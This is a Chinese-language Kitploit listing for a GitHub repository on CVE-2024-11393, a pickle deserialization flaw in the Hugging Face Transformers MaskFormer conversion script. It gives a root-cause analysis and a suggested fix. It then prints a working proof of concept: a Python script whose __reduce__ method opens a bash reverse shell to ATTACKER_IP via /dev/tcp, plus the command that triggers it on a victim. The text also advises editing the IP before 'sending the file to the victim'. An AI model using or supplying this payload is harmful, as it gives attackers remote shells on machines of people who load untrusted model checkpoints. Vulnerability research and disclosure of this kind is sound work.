Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/piyush-bhor/cve-2024-11393
漏洞分析代码分析漏洞利用学习与教育Payload 开发二进制利用
GitHubpiyush-bhor/cve-2024-11393

CVE-2024-11393

CVE-2024-11393 的技术细节与漏洞利用

查看仓库
4131年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-11393

Hugging Face Transformers MaskFormer 模型反序列化不可信数据远程代码执行漏洞

漏洞高级概述及影响:
攻击者可以通过向 Hugging Face Transformers 仓库中的 convert_maskformer_swin_to_pytorch.py 脚本提供恶意的 maskformer resnet 检查点文件,在目标主机上执行任意代码。
如果不知情的用户使用了第三方的 maskformer resnet 检查点文件,执行 convert_maskformer_swin_to_pytorch.py 脚本将导致受害者系统上的远程代码执行 (RCE)。

受影响产品

  • 产品:Hugging Face Transformers
  • 模块:Maskformer
  • 文件:transformers/src/transformers/models/maskformer/convert_maskformer_swin_to_pytorch.py
  • 版本:最新版
  • GitHub 永久链接:https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/maskformer/convert_maskformer_swin_to_pytorch.py#L240

根因分析

  • 漏洞详细描述: 该漏洞源于对不可信数据的不安全反序列化。脚本使用 pickle.load 加载检查点文件,容易导致代码执行。

  • 从输入到漏洞条件的代码流程:

  1. 用户下载第三方的 maskformer 模型。
  2. 用户运行 convert_maskformer_swin_to_pytorch.py 脚本并将检查点文件传给它。
  3. convert_maskformer_swin_to_pytorch.py 脚本反序列化检查点文件并执行恶意代码。
  • 注入点: 漏洞发生在调用 pickle.load 的位置。
    GitHub 永久链接:https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/maskformer/convert_maskformer_swin_to_pytorch.py#L240

  • 建议修复方案: 将 pickle.load 替换为 yaml.safe_load(yaml_file) 或 json.load,以防止任意代码执行。

  • 执行概念验证的说明:

  1. 创建一个恶意 pickle 文件 malicious.pkl,该文件将在受害者系统上创建一个反弹 shell:
root@kitploit:~
# exploit.py

import pickle  
import os   
  
class Exploit:  
    def __reduce__(self):  
        return (os.system, ('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1',))  
  
malicious_data = pickle.dumps(Exploit())  
with open('malicious.pkl', 'wb') as f:  
    f.write(malicious_data)  
  
print("Malicious pickle file created successfully.")

注意:在向受害者发送文件之前,请更改 ATTACKER_IP 和 ATTACKER_PORT。

  1. 运行 convert_maskformer_swin_to_pytorch.py 脚本,并将 malicious.pkl 文件传递给 --checkpoint_path:
root@kitploit:~
> python convert_maskformer_swin_to_pytorch.py --checkpoint_path malicious.pkl --model_name maskformer-swin-tiny-ade --pytorch_dump_folder_path . --push_to_hub 

注意:pytorch_dump_folder_path 可以设置为任意目录,model_name 可以是任意模型。

软件下载链接:
https://github.com/huggingface/transformers/tree/main

下载工具